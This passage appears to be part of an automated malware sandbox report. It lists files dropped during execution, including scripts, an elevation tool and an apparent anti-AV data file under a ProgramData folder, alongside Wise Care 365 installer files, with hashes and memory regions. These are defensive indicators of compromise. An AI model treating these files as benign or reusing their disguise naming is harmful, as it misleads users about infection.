                                                      SHA1

                                                      58ad15d91abac2c6203e389ac8a8ff6685406d41

                                                      SHA256

                                                      993cd78a697a09a497f3d05db6cc8183aea95a62f3fb4d1073173a919794747c

                                                      SHA512

                                                      2995d193512d0a4789b1710c51c1fc94939cba17ebbcf0181a214bc0d15ba21234bdc53816b3af6dc495d71fcce08dd1d1acc41e3de0fce17ce9f782e33d1498

                                                    • C:\ProgramData\SurfaceReduction\7za.exe

                                                      Filesize

                                                      572KB

                                                      MD5

                                                      c3d309156b8e8cf1d158de5fab1c2b40

                                                      SHA1

                                                      58ad15d91abac2c6203e389ac8a8ff6685406d41

                                                      SHA256

                                                      993cd78a697a09a497f3d05db6cc8183aea95a62f3fb4d1073173a919794747c

                                                      SHA512

                                                      2995d193512d0a4789b1710c51c1fc94939cba17ebbcf0181a214bc0d15ba21234bdc53816b3af6dc495d71fcce08dd1d1acc41e3de0fce17ce9f782e33d1498

                                                    • C:\ProgramData\SurfaceReduction\7za.exe

                                                      Filesize

                                                      572KB

                                                      MD5

                                                      c3d309156b8e8cf1d158de5fab1c2b40

                                                      SHA1

                                                      58ad15d91abac2c6203e389ac8a8ff6685406d41

                                                      SHA256

                                                      993cd78a697a09a497f3d05db6cc8183aea95a62f3fb4d1073173a919794747c

                                                      SHA512

                                                      2995d193512d0a4789b1710c51c1fc94939cba17ebbcf0181a214bc0d15ba21234bdc53816b3af6dc495d71fcce08dd1d1acc41e3de0fce17ce9f782e33d1498

                                                    • C:\ProgramData\SurfaceReduction\7za.exe

                                                      Filesize

                                                      572KB

                                                      MD5

                                                      c3d309156b8e8cf1d158de5fab1c2b40

                                                      SHA1

                                                      58ad15d91abac2c6203e389ac8a8ff6685406d41

                                                      SHA256

                                                      993cd78a697a09a497f3d05db6cc8183aea95a62f3fb4d1073173a919794747c

                                                      SHA512

                                                      2995d193512d0a4789b1710c51c1fc94939cba17ebbcf0181a214bc0d15ba21234bdc53816b3af6dc495d71fcce08dd1d1acc41e3de0fce17ce9f782e33d1498

                                                    • C:\ProgramData\SurfaceReduction\7za.exe

                                                      Filesize

                                                      572KB

                                                      MD5

                                                      c3d309156b8e8cf1d158de5fab1c2b40

                                                      SHA1

                                                      58ad15d91abac2c6203e389ac8a8ff6685406d41

                                                      SHA256

                                                      993cd78a697a09a497f3d05db6cc8183aea95a62f3fb4d1073173a919794747c

                                                      SHA512

                                                      2995d193512d0a4789b1710c51c1fc94939cba17ebbcf0181a214bc0d15ba21234bdc53816b3af6dc495d71fcce08dd1d1acc41e3de0fce17ce9f782e33d1498

                                                    • C:\ProgramData\SurfaceReduction\7za.exe

                                                      Filesize

                                                      572KB

                                                      MD5

                                                      c3d309156b8e8cf1d158de5fab1c2b40

                                                      SHA1

                                                      58ad15d91abac2c6203e389ac8a8ff6685406d41

                                                      SHA256

                                                      993cd78a697a09a497f3d05db6cc8183aea95a62f3fb4d1073173a919794747c

                                                      SHA512

                                                      2995d193512d0a4789b1710c51c1fc94939cba17ebbcf0181a214bc0d15ba21234bdc53816b3af6dc495d71fcce08dd1d1acc41e3de0fce17ce9f782e33d1498

                                                    • C:\ProgramData\SurfaceReduction\7za.exe

                                                      Filesize

                                                      572KB

                                                      MD5

                                                      c3d309156b8e8cf1d158de5fab1c2b40

                                                      SHA1

                                                      58ad15d91abac2c6203e389ac8a8ff6685406d41

                                                      SHA256

                                                      993cd78a697a09a497f3d05db6cc8183aea95a62f3fb4d1073173a919794747c

                                                      SHA512

                                                      2995d193512d0a4789b1710c51c1fc94939cba17ebbcf0181a214bc0d15ba21234bdc53816b3af6dc495d71fcce08dd1d1acc41e3de0fce17ce9f782e33d1498

                                                    • C:\ProgramData\SurfaceReduction\7za.exe

                                                      Filesize

                                                      572KB

                                                      MD5

                                                      c3d309156b8e8cf1d158de5fab1c2b40

                                                      SHA1

                                                      58ad15d91abac2c6203e389ac8a8ff6685406d41

                                                      SHA256

                                                      993cd78a697a09a497f3d05db6cc8183aea95a62f3fb4d1073173a919794747c

                                                      SHA512

                                                      2995d193512d0a4789b1710c51c1fc94939cba17ebbcf0181a214bc0d15ba21234bdc53816b3af6dc495d71fcce08dd1d1acc41e3de0fce17ce9f782e33d1498

                                                    • C:\ProgramData\SurfaceReduction\7za.exe

                                                      Filesize

                                                      572KB

                                                      MD5

                                                      c3d309156b8e8cf1d158de5fab1c2b40

                                                      SHA1

                                                      58ad15d91abac2c6203e389ac8a8ff6685406d41

                                                      SHA256

                                                      993cd78a697a09a497f3d05db6cc8183aea95a62f3fb4d1073173a919794747c

                                                      SHA512

                                                      2995d193512d0a4789b1710c51c1fc94939cba17ebbcf0181a214bc0d15ba21234bdc53816b3af6dc495d71fcce08dd1d1acc41e3de0fce17ce9f782e33d1498

                                                    • C:\ProgramData\SurfaceReduction\7za.exe

                                                      Filesize

                                                      572KB

                                                      MD5

                                                      c3d309156b8e8cf1d158de5fab1c2b40

                                                      SHA1

                                                      58ad15d91abac2c6203e389ac8a8ff6685406d41

                                                      SHA256

                                                      993cd78a697a09a497f3d05db6cc8183aea95a62f3fb4d1073173a919794747c

                                                      SHA512

                                                      2995d193512d0a4789b1710c51c1fc94939cba17ebbcf0181a214bc0d15ba21234bdc53816b3af6dc495d71fcce08dd1d1acc41e3de0fce17ce9f782e33d1498

                                                    • C:\ProgramData\SurfaceReduction\7za.exe

                                                      Filesize

                                                      572KB

                                                      MD5

                                                      c3d309156b8e8cf1d158de5fab1c2b40

                                                      SHA1

                                                      58ad15d91abac2c6203e389ac8a8ff6685406d41

                                                      SHA256

                                                      993cd78a697a09a497f3d05db6cc8183aea95a62f3fb4d1073173a919794747c

                                                      SHA512

                                                      2995d193512d0a4789b1710c51c1fc94939cba17ebbcf0181a214bc0d15ba21234bdc53816b3af6dc495d71fcce08dd1d1acc41e3de0fce17ce9f782e33d1498

                                                    • C:\ProgramData\SurfaceReduction\CurrentControlSet001_str.bat

                                                      Filesize

                                                      69B

                                                      MD5

                                                      86b44063c725c0e4f8ca60e43f4c955c

                                                      SHA1

                                                      cca8e15900d0fcfaf738457434ff159cfca27ce2

                                                      SHA256

                                                      78c99b9fe4a1fe3120c307dad4ea0e5bb493e786fc79de1536a6c8e8947024e9

                                                      SHA512

                                                      03919d2ac85c863eefe085cdf86369a40d97012657e9ab57a1e852ddc62173ca60cda8d8a67e2ef57cd9fae86c2b782ce233db9e6a50bcb429a0bda49fd5442f

                                                    • C:\ProgramData\SurfaceReduction\CurrentControlSet002.bat

                                                      Filesize

                                                      272B

                                                      MD5

                                                      6184ac5621ff2d9f1ce6f129b70890af

                                                      SHA1

                                                      344760b32c6b268c3364dabb7557a9cedf01c518

                                                      SHA256

                                                      516d7305143c59d2047fe634b8808945f7aba2ac06a095b26e8eb450dc8d1001

                                                      SHA512

                                                      b396c54de8719d24cb5517d7d0f2479ea3ed65c93516a7763f5f30e2101b18188d3d7b57f23db34645fcde63a01ba1003081efb0bf725ee0f2b31356bfa3bbd0

                                                    • C:\ProgramData\SurfaceReduction\CurrentControlSet003.vbs

                                                      Filesize

                                                      37KB

                                                      MD5

                                                      5368c403a3095c30c9a177e3af375e68

                                                      SHA1

                                                      3a2b02a2189b613cb3303620df95b88a04909700

                                                      SHA256

                                                      c1dd883daffad68f4dbc80e9d376a88605d070e6182a5fd01b0460b09d54f536

                                                      SHA512

                                                      a9c1d2cff25a49eba0b9e95609e5f10dbe8f78762ccce6b89c39f57dc27878d5fec60bd6d7aa53e1fe1f7cca7a7b30db661b0e85c646925bf945854648643b7f

                                                    • C:\ProgramData\SurfaceReduction\ELEVATE.EXE

                                                      Filesize

                                                      156KB

                                                      MD5

                                                      7aacfd85b8dff0aa6867bede82cfd147

                                                      SHA1

                                                      e783f6d4b754ea8424699203b8831bdc9cbdd4e6

                                                      SHA256

                                                      871e4f28fe39bcad8d295ae46e148be458778c0195ed660b7db18eb595d00bd8

                                                      SHA512

                                                      59cce358c125368dc5735a28960ddb7ee49835ca19f44255a7ae858ddd8a2db68c72c3f6818eca3678d989041043876e339f9fafe1d81d26001286494a8014f0

                                                    • C:\ProgramData\SurfaceReduction\Microsoft.Windows.DSC.CoreConf.exe

                                                      Filesize

                                                      6.3MB

                                                      MD5

                                                      a72458e06d5b0471ae01f2b868952cb7

                                                      SHA1

                                                      c91fe1b874ca161371095c1e3fa11997d09dee94

                                                      SHA256

                                                      1a083882d7a7ba9afd9b88d21f0b2e20777dfc909187ec92909942af7b79761f

                                                      SHA512

                                                      66c71ca4137dd5bab641f0da2d3f5d6a3fd84d4c767a7813e4d329d3327089df5d72586c27551db7bfb1488fa6c8c7356069eafe2ce904ab8fc37f025f860205

                                                    • C:\ProgramData\SurfaceReduction\compil23.bat

                                                      Filesize

                                                      493B

                                                      MD5

                                                      47765ee5c0e1350b767b3acc2ead5258

                                                      SHA1

                                                      fca90e327816f84af154272801c4020308dec5d6

                                                      SHA256

                                                      f81c0e186687eea4b65c40c497828304c000facc64a014a8da3ae0c692351fc8

                                                      SHA512

                                                      a05a96adb577e19ac5a97cd328ec3061a76269d188f3ebd93e46afb61a0c97262ec24046cef010d911be2aebccd5fb1c3ca61d44b7cb6435b2b72f2fc3c42b8e

                                                    • C:\ProgramData\SurfaceReduction\extracted\ANTIAV~1.DAT

                                                      Filesize

                                                      2.1MB

                                                      MD5

                                                      d6039c7cfd0be35badd314ad3b899d3f

                                                      SHA1

                                                      ffc1f20c5941e28e963505e91cf5ccebfda13b03

                                                      SHA256

                                                      d9efa08f9cf384b7685472948003b909f355bde56deec325c9099040f8c15422

                                                      SHA512

                                                      de109da2438b9ae3ce9e5c0c24a87a451559954067b40216f3a9f63a67502963b9b5d74e2316c9e1f3360b2b6fab1ab82ec622ace306a923b8b9d41b469ee9b7

                                                    • C:\ProgramData\SurfaceReduction\extracted\Microsoft.Windows.DSC.CoreConf.exe

                                                      Filesize

                                                      6.3MB

                                                      MD5

                                                      a72458e06d5b0471ae01f2b868952cb7

                                                      SHA1

                                                      c91fe1b874ca161371095c1e3fa11997d09dee94

                                                      SHA256

                                                      1a083882d7a7ba9afd9b88d21f0b2e20777dfc909187ec92909942af7b79761f

                                                      SHA512

                                                      66c71ca4137dd5bab641f0da2d3f5d6a3fd84d4c767a7813e4d329d3327089df5d72586c27551db7bfb1488fa6c8c7356069eafe2ce904ab8fc37f025f860205

                                                    • C:\ProgramData\SurfaceReduction\extracted\fileext_1.zip

                                                      Filesize

                                                      6.0MB

                                                      MD5

                                                      1e77a8eaaffe46435444d357254800cf

                                                      SHA1

                                                      b1eb3b7b1204ce8f283108da614a089b6091c604

                                                      SHA256

                                                      8bfa339f89936edef61bebf9aad3c1fc1653d7356e08a904e73b5ee71d603019

                                                      SHA512

                                                      20a695797f3ff19eb6c4d63643cb9f0fd027e9db3c937d574c864d51cf811589cd0d093a7f16e77fc390d97a31f3aa2dfe2aa2f4792c49b5ab308d5689c4ef5f

                                                    • C:\ProgramData\SurfaceReduction\extracted\fileext_10.zip

                                                      Filesize

                                                      7.5MB

                                                      MD5

                                                      0a5e882f7ea20cd56693949457b6321e

                                                      SHA1

                                                      67cbfacf87296a8b367ccf1c7867db229c335496

                                                      SHA256

                                                      f16ea00cae9a349ec9a6b91c1af287f7097232f58bb46ba904e2db52b0ace2cb

                                                      SHA512

                                                      fa3cec52cd188f54e5a873ce7051935382aecf59e7382fce3c7049c77d8585c1d7c9958bfa164af14f27f4fb6e62a3265dc154c0e1899fdd58f2a2cbe80b706c

                                                    • C:\ProgramData\SurfaceReduction\extracted\fileext_2.zip

                                                      Filesize

                                                      6.0MB

                                                      MD5

                                                      f125dcb2b50d8902b18abc0bf0449d7f

                                                      SHA1

                                                      1d7d48a234c6321ad5befa56529580a501f8dd3b

                                                      SHA256

                                                      415c5e530516b95c74de7d7881b4b0cd195bcdb0647afd472bb9c8f2cdfdf120

                                                      SHA512

                                                      fac72ed3925a244032bc936e30e3c8e165259239c5bc18a391655b2c764b43ac4377efddb7f127b76be640719af6ad12e9d0144c3c612b908b73332819f1efe0

                                                    • C:\ProgramData\SurfaceReduction\extracted\fileext_3.zip

                                                      Filesize

                                                      6.0MB

                                                      MD5

                                                      891f5297dbd62cce4ab51e7ef4fbbe0f

                                                      SHA1

                                                      f472480170b1b181b99e740e7fb34165f442e679

                                                      SHA256

                                                      4623a6e6da1996a148640f343d6a5676c11395578a1dadc620f6191e319f008c

                                                      SHA512

                                                      d3af5c23c95fd5ba2b6b4a9f6b0ee2a3c4c7b37753fcfe6c1f1d31f05ab254c82ec0fe850731b7a9ac67a4ea51fbb285bd2116086c79dbae8e66b71127cca352

                                                    • C:\ProgramData\SurfaceReduction\extracted\fileext_4.zip

                                                      Filesize

                                                      6.0MB

                                                      MD5

                                                      9448ec221739377d8f11355534d1a12d

                                                      SHA1

                                                      ae9f6f86fa64698ce92b4fa35b1c6650dbeabc27

                                                      SHA256

                                                      6f405059239f6f01405648c8635ff44a08ff2a25d598f2ee8cadac0ef2d9f124

                                                      SHA512

                                                      a90c0ea25409b51748ac08d6201953e2867de9ead1300c27009dd30546ec61d5cf6f5d1aeebb6f92c229f596de0fd915a9832ce4faad2540e6761393833e548a

                                                    • C:\ProgramData\SurfaceReduction\extracted\fileext_5.zip

                                                      Filesize

                                                      6.0MB

                                                      MD5

                                                      282f1ca973751fc961c7ef8e1cc43b54

                                                      SHA1

                                                      929c58564b9b1a0bd0158441855dad8cfda18378

                                                      SHA256

                                                      d10a08f2909e70a98b029250f0816c9d5008362a3def030f5c9e07d91b3ce665

                                                      SHA512

                                                      73ff9861784995c77143a016759febe1ffbbae0085ed2ae04e91a76898c839d061b6420767271978a3951a2e8f942c5b9daa9e129b234bb69232a0496d62f0be

                                                    • C:\ProgramData\SurfaceReduction\extracted\fileext_6.zip

                                                      Filesize

                                                      6.0MB

                                                      MD5

                                                      e55bfe37b913935f6a2fcb5bb397bb9c

                                                      SHA1

                                                      1725878edefe6d0bcf220ea072b91c2199854789

                                                      SHA256

                                                      6ce17ee19c7a0e0a558f866c184b395a19953c94411bff78df1893d6886a0d31

                                                      SHA512

                                                      0a966f657f7c773a48a325b14befe9c344d0881a3c64fbdf2314135276786f38f4afaa8f08f7b413162f657aa462d7b98126ec7aebcc00fda182d9a8d6d986d0

                                                    • C:\ProgramData\SurfaceReduction\extracted\fileext_7.zip

                                                      Filesize

                                                      6.0MB

                                                      MD5

                                                      964ebaa54e86db108657b09198713dc3

                                                      SHA1

                                                      690f738c7541b11fa795923a35e2ec2996b648cb

                                                      SHA256

                                                      e1c9a65debde6e455ea9323d59bb95e478c5155b14043a365a2aede465ebea34

                                                      SHA512

                                                      7bc496e9c38f3bd4c025e02e8c2040edb08ced801313822004c2b50db6c01ec42e26abd94427bb0b08c9ea5a20c380e8ebe995ad2e748db3157f5173c4b4da99

                                                    • C:\ProgramData\SurfaceReduction\extracted\fileext_8.zip

                                                      Filesize

                                                      6.0MB

                                                      MD5

                                                      10b4f2e5a4e33dc6b4a47a074d2bdfdc

                                                      SHA1

                                                      5196618b695caab05484af0098f3ed5ff0538967

                                                      SHA256

                                                      f34d9978bcc85e13593b02d685e1197ef7c1311f12441d048c2cb2f17b6c30b1

                                                      SHA512

                                                      7f00059d3dfafd0af55a00deddbaf6f715b7905cf837ae5c63c8c9b2b009fdfdc7f7f0f7b7d2e08022ea8d03b405092dd1b7e95982667825a4a0e478d6aba78a

                                                    • C:\ProgramData\SurfaceReduction\extracted\fileext_9.zip

                                                      Filesize

                                                      6.0MB

                                                      MD5

                                                      c1c9934fce8ab3ff26ef77f52cb8b833

                                                      SHA1

                                                      5021643fab7a47849dc02834a5d9831526042891

                                                      SHA256

                                                      3db445b65dc21a7e5de69cae51b38866ac1cdf3b1e1ba6faa6bee062c97aec32

                                                      SHA512

                                                      d85b9b69792b598396016dc9bd57b9cc85701dc16dd6ade4875ca21985179125c2fc9c9e1d61533a643b1549f0816947e6fa19bfd0958a5e196401d62f857307

                                                    • C:\ProgramData\SurfaceReduction\fileext.bin

                                                      Filesize

                                                      7.5MB

                                                      MD5

                                                      0a346cd7b93f1393658325d451562321

                                                      SHA1

                                                      d6e39344eb22ac87465570ecaeabcdd3c28c2938

                                                      SHA256

                                                      a720df4acd29441ddc1a1131910a7ecd6d570fbac4d7fd30dc1dad4e74e5676b

                                                      SHA512

                                                      55001293e4e7ceee7416bda00167f455142a558890be12992b6037b3b8d94394d86222fd4196e01abfb8a23eee930a5cc7abb3959e7ce399b43f0c55a5feadb3

                                                    • C:\ProgramData\SurfaceReduction\hfile.bin

                                                      Filesize

                                                      8.3MB

                                                      MD5

                                                      5a9fb4a562bc9d81d63b9a11b7133f96

                                                      SHA1

                                                      6e4dbeda683738454ff27cf7b68ea6a4de0dd189

                                                      SHA256

                                                      39902b665f9be542ca72e484842f9361a7201dabd01ca71e8a933614e39a62bd

                                                      SHA512

                                                      9b5251913a02d849f2c7544a793f50a0790dda17ca21141d802aa03d4220c99e8cafe61c4b52840ac9bd1fc04d79a6a2ace87ffb49b4d8ef03a37b373f1ae512

                                                    • C:\ProgramData\SurfaceReduction\main.bat

                                                      Filesize

                                                      5KB

                                                      MD5

                                                      0c29aad924c522ccd4e69a6ff68c625a

                                                      SHA1

                                                      296cdf8081965c128003fda4aa0a5eb168330d83

                                                      SHA256

                                                      1b553e46f0e4d710fba900acd29903a964cb77942e6f6ea7e6799f4d3d8ed7ab

                                                      SHA512

                                                      85280dd9222a19e422715be94b8c1d86f5ec28677194e909726e43cecb59c44ee8406cded847eb3774776539eac0a7bf60573156e6f1b7d3f0a1a12276ff463e

                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                      Filesize

                                                      2KB

                                                      MD5

                                                      968cb9309758126772781b83adb8a28f

                                                      SHA1

                                                      8da30e71accf186b2ba11da1797cf67f8f78b47c

                                                      SHA256

                                                      92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

                                                      SHA512

                                                      4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

                                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico

                                                      Filesize

                                                      70KB

                                                      MD5

                                                      e5e3377341056643b0494b6842c0b544

                                                      SHA1

                                                      d53fd8e256ec9d5cef8ef5387872e544a2df9108

                                                      SHA256

                                                      e23040951e464b53b84b11c3466bbd4707a009018819f9ad2a79d1b0b309bc25

                                                      SHA512

                                                      83f09e48d009a5cf83fa9aa8f28187f7f4202c84e2d0d6e5806c468f4a24b2478b73077381d2a21c89aa64884df3c56e8dc94eb4ad2d6a8085ac2feb1e26c2ef

                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                      Filesize

                                                      18KB

                                                      MD5

                                                      7282392155e55bb8aadebd9cc98243e1

                                                      SHA1

                                                      4930877c7d5337c592c6a227e856cf2abbcb191c

                                                      SHA256

                                                      508bc936a7052b4330032b195d9112c805d1d0e70f95315cab012c6fee10a124

                                                      SHA512

                                                      ac5ae2383b49498c82be46c156160bcbc43a79b96af9a9af3246b5a0d370f1637a0dbbcdad204e1e2cf39fe77e1e706033d0a278f48d8a643e4c22606489fee4

                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                      Filesize

                                                      16KB

                                                      MD5

                                                      351b2c09b8acd2307ac85ea7b8cf5f07

                                                      SHA1

                                                      8bea808dba9d133a16d4afde275b800296d8073a

                                                      SHA256

                                                      6302eac262dd4c510003d4ae33dc6ce158752dc3cfcde1ddceede30ab37fb464

                                                      SHA512

                                                      4ac4ddc5c6d6c9b7adb58592905129bd19e7baa9514e9c57a4d651f5cc791e3d2ef3fed5b83608dea189972fead847b386fa265d442a70f3ff4e7288fdcf37f1

                                                    • C:\Users\Admin\AppData\Local\Temp\is-4ELBA.tmp\ISTask.dll

                                                      Filesize

                                                      66KB

                                                      MD5

                                                      86a1311d51c00b278cb7f27796ea442e

                                                      SHA1

                                                      ac08ac9d08f8f5380e2a9a65f4117862aa861a19

                                                      SHA256

                                                      e916bdf232744e00cbd8d608168a019c9f41a68a7e8390aa48cfb525276c483d

                                                      SHA512

                                                      129e4b8dd2665bcfc5e72b4585343c51127b5d027dbb0234291e7a197baeca1bab5ed074e65e5e8c969ee01f9f65cc52c9993037416de9bfff2f872e5aeba7ec

                                                    • C:\Users\Admin\AppData\Local\Temp\is-4ELBA.tmp\ISTask.dll

                                                      Filesize

                                                      66KB

                                                      MD5

                                                      86a1311d51c00b278cb7f27796ea442e

                                                      SHA1

                                                      ac08ac9d08f8f5380e2a9a65f4117862aa861a19

                                                      SHA256

                                                      e916bdf232744e00cbd8d608168a019c9f41a68a7e8390aa48cfb525276c483d

                                                      SHA512

                                                      129e4b8dd2665bcfc5e72b4585343c51127b5d027dbb0234291e7a197baeca1bab5ed074e65e5e8c969ee01f9f65cc52c9993037416de9bfff2f872e5aeba7ec

                                                    • C:\Users\Admin\AppData\Local\Temp\is-4ELBA.tmp\VclStylesInno.dll

                                                      Filesize

                                                      3.0MB

                                                      MD5

                                                      b0ca93ceb050a2feff0b19e65072bbb5

                                                      SHA1

                                                      7ebbbbe2d2acd8fd516f824338d254a33b69f08d

                                                      SHA256

                                                      0e93313f42084d804b9ac4be53d844e549cfcaf19e6f276a3b0f82f01b9b2246

                                                      SHA512

                                                      37242423e62af30179906660c6dbbadca3dc2ba9e562f84315a69f3114765bc08e88321632843dbd78ba1728f8d1ce54a4edfa3b96a9d13e540aee895ae2d8e2

                                                    • C:\Users\Admin\AppData\Local\Temp\is-4ELBA.tmp\VclStylesInno.dll

                                                      Filesize

                                                      3.0MB

                                                      MD5

                                                      b0ca93ceb050a2feff0b19e65072bbb5

                                                      SHA1

                                                      7ebbbbe2d2acd8fd516f824338d254a33b69f08d

                                                      SHA256

                                                      0e93313f42084d804b9ac4be53d844e549cfcaf19e6f276a3b0f82f01b9b2246

                                                      SHA512

                                                      37242423e62af30179906660c6dbbadca3dc2ba9e562f84315a69f3114765bc08e88321632843dbd78ba1728f8d1ce54a4edfa3b96a9d13e540aee895ae2d8e2

                                                    • C:\Users\Admin\AppData\Local\Temp\is-DA78E.tmp\WiseCare365_Setup.tmp

                                                      Filesize

                                                      3.5MB

                                                      MD5

                                                      ee76ae1978f75f7a8086f993a988fdfc

                                                      SHA1

                                                      2e9f55381902fb18a4beb5caab041e21d01f92fe

                                                      SHA256

                                                      cbe6b8d103b4b69bc0e19ea8e66ce55890fc797c7df63c706a8384d820d34681

                                                      SHA512

                                                      5aa492e39828b8656d49734262b5c20e96091d1f18c16914246ced6c46b111a4579926e61ac65df1ae15d8f9483c6cd8bd8e46a73243c98b3f8e3dd4fcbb5bcf

                                                    • C:\Users\Admin\AppData\Local\Temp\is-KPDLB.tmp\Wise Care 365 6.3.5.613.exe

                                                      Filesize

                                                      38.5MB

                                                      MD5

                                                      389fae6f3e209729a996f81b14f308b5

                                                      SHA1

                                                      b8a75b1111418bd753535eeefdc804d5dfccc687

                                                      SHA256

                                                      efae3a2b703d1e04e99ee735e9f63207149dea9d4a989bc32728de9e926020f6

                                                      SHA512

                                                      42dc522539f56cdb35cd1f281476b1822be031c56eca45b5da841d15fc37263235677d6acacde7053e9246f6eab2ccc2a3c16f37a63de1925fdd7a1e3a2ffb84

                                                    • C:\Users\Admin\AppData\Local\Temp\is-KPDLB.tmp\Wise Care 365 6.3.5.613.exe

                                                      Filesize

                                                      38.5MB

                                                      MD5

                                                      389fae6f3e209729a996f81b14f308b5

                                                      SHA1

                                                      b8a75b1111418bd753535eeefdc804d5dfccc687

                                                      SHA256

                                                      efae3a2b703d1e04e99ee735e9f63207149dea9d4a989bc32728de9e926020f6

                                                      SHA512

                                                      42dc522539f56cdb35cd1f281476b1822be031c56eca45b5da841d15fc37263235677d6acacde7053e9246f6eab2ccc2a3c16f37a63de1925fdd7a1e3a2ffb84

                                                    • C:\Users\Admin\AppData\Local\Temp\is-KPDLB.tmp\_isetup\_iscrypt.dll

                                                      Filesize

                                                      2KB

                                                      MD5

                                                      a69559718ab506675e907fe49deb71e9

                                                      SHA1

                                                      bc8f404ffdb1960b50c12ff9413c893b56f2e36f

                                                      SHA256

                                                      2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc

                                                      SHA512

                                                      e52e0aa7fe3f79e36330c455d944653d449ba05b2f9abee0914a0910c3452cfa679a40441f9ac696b3ccf9445cbb85095747e86153402fc362bb30ac08249a63

                                                    • C:\Users\Admin\AppData\Local\Temp\is-TE49F.tmp\Wise Care 365 6.3.5.613.tmp

                                                      Filesize

                                                      911KB

                                                      MD5

                                                      9d7850e858c24db77b91b25adf93812f

                                                      SHA1

                                                      f0bb0a9074b38dad7492422247c0a316197d26b6

                                                      SHA256

                                                      c062235322d35c79cfde7aea5fd90e9589e5fbca738ed41ab66de382e1a1b2e8

                                                      SHA512

                                                      e08084f265913a71d55750b75bbb01d1c43baa68d57eb9d6bc4ed46076577536b10901c06b92c66a926e07e268593b69936050cfacb8ed8e62b8fad86444e8ec

                                                    • C:\Users\Admin\AppData\Local\Temp\is-TE49F.tmp\Wise Care 365 6.3.5.613.tmp

                                                      Filesize

                                                      911KB

                                                      MD5

                                                      9d7850e858c24db77b91b25adf93812f

                                                      SHA1

                                                      f0bb0a9074b38dad7492422247c0a316197d26b6

                                                      SHA256

                                                      c062235322d35c79cfde7aea5fd90e9589e5fbca738ed41ab66de382e1a1b2e8

                                                      SHA512

                                                      e08084f265913a71d55750b75bbb01d1c43baa68d57eb9d6bc4ed46076577536b10901c06b92c66a926e07e268593b69936050cfacb8ed8e62b8fad86444e8ec

                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Microsoft Edge.lnk

                                                      Filesize

                                                      2KB

                                                      MD5

                                                      44d0afc6cfc544fc431fcc13749d90ea

                                                      SHA1

                                                      0774ff371f6817c2eb3b171c1482c2e6e16fd43a

                                                      SHA256

                                                      2c363f59dd8b8e7927fcd2982ee0ef7ac757ab49a6f9b4f2a8d88788e54e77d6

                                                      SHA512

                                                      ea630eac5318fcffe4c4c6de878d059b70e6483d31b36c19cb9868a0f87a866215f2472729634fbd8be5e7449fca1a1aa87b24aa193380b1a236f0d7d36802a9

                                                    • memory/220-191-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-187-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-171-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-172-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-175-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-201-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-202-0x0000000007331000-0x00000000075BF000-memory.dmp

                                                      Filesize

                                                      2.6MB

                                                    • memory/220-203-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-199-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-169-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-176-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-206-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-207-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-208-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-209-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-167-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-149-0x0000000002300000-0x0000000002316000-memory.dmp

                                                      Filesize

                                                      88KB

                                                    • memory/220-166-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-154-0x0000000007330000-0x000000000764A000-memory.dmp

                                                      Filesize

                                                      3.1MB

                                                    • memory/220-194-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-156-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-157-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-193-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-192-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-178-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-190-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-189-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-164-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

                                                      1.2MB

                                                    • memory/220-280-0x0000000007331000-0x00000000075BF000-memory.dmp

                                                      Filesize

                                                      2.6MB

                                                    • memory/220-174-0x0000000007650000-0x0000000007790000-memory.dmp

                                                      Filesize

